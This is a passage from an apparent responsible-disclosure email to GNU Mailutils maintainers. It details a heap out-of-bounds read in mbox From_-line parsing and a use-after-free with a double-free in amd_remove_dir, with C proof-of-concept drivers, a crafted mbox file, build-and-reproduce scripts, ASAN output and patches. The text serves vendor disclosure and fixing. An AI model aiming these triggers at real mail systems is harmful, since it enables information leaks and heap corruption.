between position 5 and `\n`, the back-scan retreats all the way to `s[4]`, 
making `x+zn == s+4`, and `memcmp(s+4-12, suf, 13)` = `memcmp(s-8, suf, 13)` 
reads 8 bytes before the heap buffer `s`. There is no `x+zn-suflen+1 >= s` 
lower-bound check before the memcmp.

### Root cause
File `libproto/mbox/mboxrd.c`, function `parse_from_line` (lines 373-391):

```c
/* parse_from_line(s, &zp) */
if ((*s=='F')&&(s[1]=='r')&&(s[2]=='o')&&(s[3]=='m')&&(s[4]==' '))  /* L375: 
guarantees s[4]==' ' */
  {
    char *x = strchr (s, '\n');
    if (x)
      {
        if (x - s >= 41)
          {
            static char suf[] = " remote from ";
            #define suflen (sizeof(suf)-1)          /* 13 */
            for (zn = -1; x + zn > s && x[zn] != ' '; (zn)--);  /* L389: 
back-scan to space (as far as s[4]) */
            if (memcmp (x + zn - suflen + 1, suf, suflen) == 0)  /* L390: no 
x+zn-12 >= s check */
              x += zn - suflen + 1;
          }
        ...
```

For input `"From " + 36*'A' + "\n"` (42 bytes): x=`&s[41]`, `x-s==41>=41`. L389 
back-scans: x[-1]=s[40]='A'... all 'A', until x[zn]=s[4]=' ' -> zn=-37, 
`x+zn==s+4`. L390 `memcmp(s+4-12, suf, 13)`=`memcmp(s-8, suf, 13)` -> reads 8 
bytes before `s`. Call chain: `mu_mailbox_create_default` (mbx_default.c:463) 
-> `_create_mailbox` -> `mu_registrar_lookup_url` -> `mboxrd_is_scheme` 
(mboxrd.c:2059) -> `mboxrd_detect` (mboxrd.c:2018 reads the first line -> 
`parse_from_line`).

### Impact
Heap left out-of-bounds read of 13 bytes (8 bytes before `buf` -> info leak of 
heap metadata / adjacent allocation). Low-Medium severity (read, not write; the 
memcmp result only decides whether to adjust `x`; on no match x is unchanged). 
mbox file vector: `mboxrd_detect` runs on mailbox open / format auto-detection 
and reads the first line, so opening any mbox file whose first From_ line is 
`"From " + (>=36 non-space chars) + "\n"` triggers it. Reachable when a user 
opens a hostile .mbox, or when a malicious IMAP/POP3 server delivers mail with 
a crafted From_ line that movemail appends to a local mbox and later rescans.

### PoC
Driver (real mailbox framework):

```c
/* mu_mbox_from_driver.c */
#include <mailutils/mailbox.h>
#include <mailutils/registrar.h>
#include <mailutils/mbox.h>
#include <stdio.h>
int main(int argc, char **argv) {
    const char *path = argc > 1 ? argv[1] : "/tmp/mu_mbox_from.mbox";
    mu_registrar_record(mu_mbox_record);
    mu_mailbox_t mbox = NULL;
    mu_mailbox_create_default(&mbox, path);   /* -> detect -> parse_from_line 
-> heap left OOB read */
    if (mbox) mu_mailbox_destroy(&mbox);
    return 0;
}
```

Input `.mbox` (first line `"From " + 36*'A' + "\n"` + a body line), reconstruct 
as a text file:
```
>From AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
body line
```

### Reproduce on real upstream
```bash
#!/bin/bash
# repro-45.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1" 
./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_mbox_from_driver.c <<'EOF'
#include <mailutils/mailbox.h>
#include <mailutils/registrar.h>
#include <mailutils/mbox.h>
#include <stdio.h>
int main(int argc, char **argv) {
    const char *path = argc > 1 ? argv[1] : "/tmp/mu_mbox_from.mbox";
    mu_registrar_record(mu_mbox_record);
    mu_mailbox_t mbox = NULL;
    mu_mailbox_create_default(&mbox, path);
    if (mbox) mu_mailbox_destroy(&mbox);
    return 0;
}
EOF
# Build the hostile mbox: "From " + 36 A's + newline, then a body line.
printf 'From %s\nbody line\n' "$(printf 'A%.0s' $(seq 1 36))" > 
/tmp/mu_mbox_from.mbox
clang -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
      -I include -I . -I libmailutils -I libproto/mbox \
      /tmp/mu_mbox_from_driver.c \
      -Wl,--start-group libproto/mbox/.libs/libmu_mbox.a 
libmailutils/.libs/libmailutils.a lib/.libs/libmuaux.a -Wl,--end-group \
      -lresolv -ldl -lcrypt -lm -lpthread -lgnutls -ltasn1 -lgpg-error -o 
/tmp/mu_mbox_from_driver
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 /tmp/mu_mbox_from_driver 
/tmp/mu_mbox_from.mbox
```

Expected ASAN:
```
==1333402==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0x6060000002b8
READ of size 13 at 0x6060000002b8 thread T0
    #1 memcmp
    #2 parse_from_line libproto/mbox/mboxrd.c:390:12    <- memcmp(x+zn-12, suf, 
13) reads 8B before buf
    #3 mboxrd_detect   libproto/mbox/mboxrd.c:2018:12   <- reads first line 
then calls parse_from_line
    #4 mboxrd_is_scheme libproto/mbox/mboxrd.c:2059:14
    ...
    #11 mu_mailbox_create_default libmailutils/mailbox/mbx_default.c:463:12
0x6060000002b8 is located 8 bytes to the left of 64-byte region 
[0x6060000002c0,0x606000000300)
allocated by ... realloc ... bufexpand ... mu_stream_getline ... mboxrd_detect 
mboxrd.c:2014
```

### Suggested fix
Add a lower-bound check before the memcmp at mboxrd.c:390, ensuring 
`x+zn-suflen+1 >= s`:
```c
for (zn = -1; x + zn > s && x[zn] != ' '; (zn)--);
if (x + zn - suflen + 1 >= s
    && memcmp (x + zn - suflen + 1, suf, suflen) == 0)   /* added >= s bound */
  x += zn - suflen + 1;
```
(Alternatively, bound the back-scan start: `x + zn > s + suflen - 1`.)

---

## CVE #46: amd_remove_dir drops realloc result -> use-after-free write + 
double-free (Medium-High)

### Summary
`amd_remove_dir(name)` (amd.c:2243) allocates `namebuf = malloc(namesize)`, 
`namesize = strlen(name)+128`, iterates directory entries, and grows the buffer 
when an entry name is long: `p = realloc(namebuf, namesize)` (L2278). The 
result is stored in local `p` but is **never assigned back to `namebuf`** (the 
only `namebuf =` assignment in the function is the initial malloc at L2254). 
When `realloc` moves the block (which growth does), `namebuf` is left dangling, 
and the subsequent `strcpy(namebuf + namelen, ent->d_name)` (L2285) writes to 
freed memory -- a use-after-free write. The later `free(namebuf)` (L2302) 
double-frees the same block.

### Root cause
File `libmailutils/base/amd.c`, function `amd_remove_dir` (lines 2243-2300):

```c
int
amd_remove_dir (const char *name)
{
  DIR *dir; struct dirent *ent; char *namebuf;
  size_t namelen, namesize;
  namelen = strlen (name);
  namesize = namelen + 128;
  namebuf = malloc (namesize);          /* L2254 */
  ...
  while ((ent = readdir (dir)))
    {
      size_t len = strlen (ent->d_name);
      if (namelen + len >= namesize)
        {
          char *p;
          namesize += len + 1;
          p = realloc (namebuf, namesize);   /* L2278 -- result dropped */
          if (!p) { rc = ENOMEM; break; }
          /* missing: namebuf = p; */
        }
      strcpy (namebuf + namelen, ent->d_name); /* L2285 UAF write */
      ...
    }
  ...
  free (namebuf);   /* L2302: double-free when realloc moved the block */
}
```

Trigger condition: a directory entry whose name length `len` makes `namelen+len 
>= namesize` (namesize = namelen+128). For a short path like 
`/tmp/mu_amd_uaf_test` (namelen=20), `len >= 128` triggers it. maildir message 
filenames can exceed 128 bytes, and `tmp/` holds in-delivery files -- a 
hostile/compromised maildir can craft an over-long name. The same-file correct 
idiom exists elsewhere (e.g. L1196 `buf = realloc(buf, bufsize)`), confirming 
L2278 is a missing `namebuf = p;` typo.

### Impact
Use-after-free write (heap corruption; the attacker controls the written 
filename content and length via the crafted directory entry name -> potential 
arbitrary write / code execution), plus a double-free at L2302. Medium-High 
severity (write, not read; more severe than the read-only issues #42/#43/#45). 
Reachability: the maildir/MH mailbox remove path -- `amd_remove_dir` is called 
by `maildir_remove` (maildir.c:2030, per `tmp/new/cur/` subdir) and `mh.c:439`, 
which run on `mu_mailbox_remove()` / IMAP `DELETE` of a maildir/MH mailbox. 
Requires a maildir/MH directory containing an entry with a name >= ~127 bytes. 
Not a direct pre-auth network message field, but a hostile/compromised maildir 
or a malicious MDA delivering over-long-named message files can construct it; 
mailutils is still a protocol/mail implementation (IMAP/POP3/SMTP daemon + 
clients) and the UAF write is real heap corruption.

### PoC
No external input file -- the trigger builds a maildir/MH-style directory 
containing a >=127-byte-named entry, then removes it. Driver (real public API 
`amd_remove_dir` is exported from libmailutils):

```c
/* mu_amd_uaf_driver.c */
extern int amd_remove_dir(const char *name);
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
int main(void) {
    const char *dir = "/tmp/mu_amd_uaf_test";
    mkdir(dir, 0755);
    /* entry name >= 128 bytes triggers realloc inside amd_remove_dir */
    char longname[256];
    memset(longname, 'B', 200);
    longname[200] = 0;
    char path[512];
    snprintf(path, sizeof path, "%s/%s", dir, longname);
    FILE *f = fopen(path, "w"); if (f) fclose(f);
    amd_remove_dir(dir);   /* realloc moves block -> namebuf dangling -> strcpy 
UAF write */
    return 0;
}
```

### Reproduce on real upstream
```bash
#!/bin/bash
# repro-46.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1" 
./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_amd_uaf_driver.c <<'EOF'
extern int amd_remove_dir(const char *name);
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
int main(void) {
    const char *dir = "/tmp/mu_amd_uaf_test";
    mkdir(dir, 0755);
    char longname[256];
    memset(longname, 'B', 200);
    longname[200] = 0;
    char path[512];
    snprintf(path, sizeof path, "%s/%s", dir, longname);
    FILE *f = fopen(path, "w"); if (f) fclose(f);
    amd_remove_dir(dir);
    return 0;
}
EOF
clang -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
      -I include -I . -I libmailutils \
      /tmp/mu_amd_uaf_driver.c \
      -Wl,--start-group libmailutils/.libs/libmailutils.a lib/.libs/libmuaux.a 
-Wl,--end-group \
      -lresolv -ldl -lcrypt -lm -lpthread -lgnutls -ltasn1 -lgpg-error -o 
/tmp/mu_amd_uaf_driver
rm -rf /tmp/mu_amd_uaf_test
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 /tmp/mu_amd_uaf_driver
```

Expected ASAN:
```
==1336190==ERROR: AddressSanitizer: heap-use-after-free on address 
0x60e000000055
WRITE of size 201 at 0x60e000000055 thread T0
    #0 strcpy
    #1 amd_remove_dir libmailutils/base/amd.c:2285:7      <- 
strcpy(namebuf+namelen, d_name) writes freed mem
    #2 main mailutils_amd_removedir_uaf_poc.c:63
0x60e0000000d4 is located 0 bytes to the right of 148-byte region 
[0x60e000000040,0x60e0000000d4)
freed by thread T0 here:
    #0 realloc
    #1 amd_remove_dir libmailutils/base/amd.c:2278:8      <- realloc result 
dropped, old block freed
previously allocated by thread T0 here:
    #0 malloc
    #1 amd_remove_dir libmailutils/base/amd.c:2254:13     <- initial malloc(148)
```

(The 148-byte region = initial `namesize = strlen("/tmp/mu_amd_uaf_test")+128 = 
20+128 = 148`. realloc grows to 148+201=349; ASAN frees the old 148B block; the 
L2285 strcpy writes 201 bytes to the dangling `namebuf` -> UAF write. The later 
`free(namebuf)` at L2302 double-frees the same block.)

### Suggested fix
Assign the realloc result back to `namebuf` at amd.c:2278:
```c
          p = realloc (namebuf, namesize);
          if (!p) { rc = ENOMEM; break; }
          namebuf = p;          /* added: assign back, avoid dangling pointer */
```

---

All eight issues are confirmed on real upstream GNU Mailutils 3.21 
(libmailutils / imap4d / movemail), built with ASAN/UBSan. I am happy to 
provide further details or coordinate fix timelines. Thank you for your time.

Best regards,
zhangph <[email protected]>



Reply via email to